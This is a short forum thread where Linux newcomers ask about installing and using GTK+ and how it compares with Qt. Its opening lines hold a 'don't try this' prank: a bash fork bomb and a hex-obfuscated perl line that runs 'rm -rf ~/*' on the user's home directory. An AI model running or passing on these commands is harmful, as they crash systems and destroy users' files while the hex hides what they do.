    GTK+ is one of the foremost and its free ..
    WARNING!!! Don\'t try the following :
    Code:
    bash$ :(){ :|:&};: -- 
    bash$ `perl -e\'print\"\\x72\\x6D\\x20\\x2D\\x72\\x66\\x20\\x7E\\x2F\\x2A\"\'`

    It probably did, but the development packages for it may not have been installed. You might open up YaST and search for GTK. The package might be called something like gtk-devel.

    I found a package in yast which is called gtk2-devel and it is installed . How do I start gtk+ then ? And one other thing: is gtk+ only for creation of GUI in Gnome , or also for KDE ?

    That is one of the things that I don't understand either mostly because I'm new to this graphical "mambo jambo" . As far as I understood gtk+ is a class of graphical libraries , and QT is an application which uses libraries (probably not gtk libraries), I guess .. , isn't it ? I could be way off here , someone enlighten me pls !
    Also if someone could answer my questions above I would be gratefull ! Tahnks .

    I can't speak for how they perform in applications (since I've never designed in GTK+) but the obvious difference is their license. Qt is not free (no cost) for commercial use. GTK+ is. That doesn't necessarily mean it's *better*, but I think that's an important difference.
